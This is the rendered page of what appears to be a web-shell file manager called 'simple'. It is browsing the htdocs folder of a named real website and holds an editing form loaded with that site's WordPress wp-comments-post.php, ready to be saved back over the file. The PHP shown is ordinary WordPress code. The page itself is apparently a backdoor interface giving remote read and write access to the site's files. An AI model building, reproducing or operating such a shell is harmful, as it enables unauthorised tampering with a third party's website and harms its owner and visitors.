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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2F'>www.santi.wien</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2F'>htdocs</a>/</p><hr><h3>✏️ Editing: wp-comments-post.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Handles Comment Post to WordPress and prevents duplicate comment posting.
 *
 * @package WordPress
 */

if ( &#039;POST&#039; !== $_SERVER[&#039;REQUEST_METHOD&#039;] ) {
	$protocol = $_SERVER[&#039;SERVER_PROTOCOL&#039;];
	if ( ! in_array( $protocol, array( &#039;HTTP/1.1&#039;, &#039;HTTP/2&#039;, &#039;HTTP/2.0&#039;, &#039;HTTP/3&#039; ), true ) ) {
		$protocol = &#039;HTTP/1.0&#039;;
	}

	header( &#039;Allow: POST&#039; );
	header( &quot;$protocol 405 Method Not Allowed&quot; );
	header( &#039;Content-Type: text/plain&#039; );
	exit;
}

/** Sets up the WordPress Environment. */
require __DIR__ . &#039;/wp-load.php&#039;;

nocache_headers();

$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
if ( is_wp_error( $comment ) ) {
	$data = (int) $comment-&gt;get_error_data();
	if ( ! empty( $data ) ) {
		wp_die(
			&#039;&lt;p&gt;&#039; . $comment-&gt;get_error_message() . &#039;&lt;/p&gt;&#039;,
			__( &#039;Comment Submission Failure&#039; ),
			array(
				&#039;response&#039;  =&gt; $data,
				&#039;back_link&#039; =&gt; true,
			)
		);
	} else {
		exit;
	}
}

$user            = wp_get_current_user();
$cookies_consent = ( isset( $_POST[&#039;wp-comment-cookies-consent&#039;] ) );

/**
 * Fires after comment cookies are set.
 *
 * @since 3.4.0
 * @since 4.9.6 The `$cookies_consent` parameter was added.
 *
 * @param WP_Comment $comment         Comment object.
 * @param WP_User    $user            Comment author&#039;s user object. The user may not exist.
 * @param bool       $cookies_consent Comment author&#039;s consent to store cookies.
 */
do_action( &#039;set_comment_cookies&#039;, $comment, $user, $cookies_consent );

$location = empty( $_POST[&#039;redirect_to&#039;] ) ? get_comment_link( $comment ) : $_POST[&#039;redirect_to&#039;] . &#039;#comment-&#039; . $comment-&gt;comment_ID;

// If user didn&#039;t consent to cookies, add specific query arguments to display the awaiting moderation message.
if ( ! $cookies_consent &amp;&amp; &#039;unapproved&#039; === wp_get_comment_status( $comment ) &amp;&amp; ! empty( $comment-&gt;comment_author_email ) ) {
	$location = add_query_arg(
		array(
			&#039;unapproved&#039;      =&gt; $comment-&gt;comment_ID,
			&#039;moderation-hash&#039; =&gt; wp_hash( $comment-&gt;comment_date_gmt ),
		),
		$location
	);
}

/**
 * Filters the location URI to send the commenter after posting.
 *
 * @since 2.0.5
 *
 * @param string     $location The &#039;redirect_to&#039; URI sent via $_POST.
 * @param WP_Comment $comment  Comment object.
 */
$location = apply_filters( &#039;comment_post_redirect&#039;, $location, $comment );

wp_safe_redirect( $location );
exit;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
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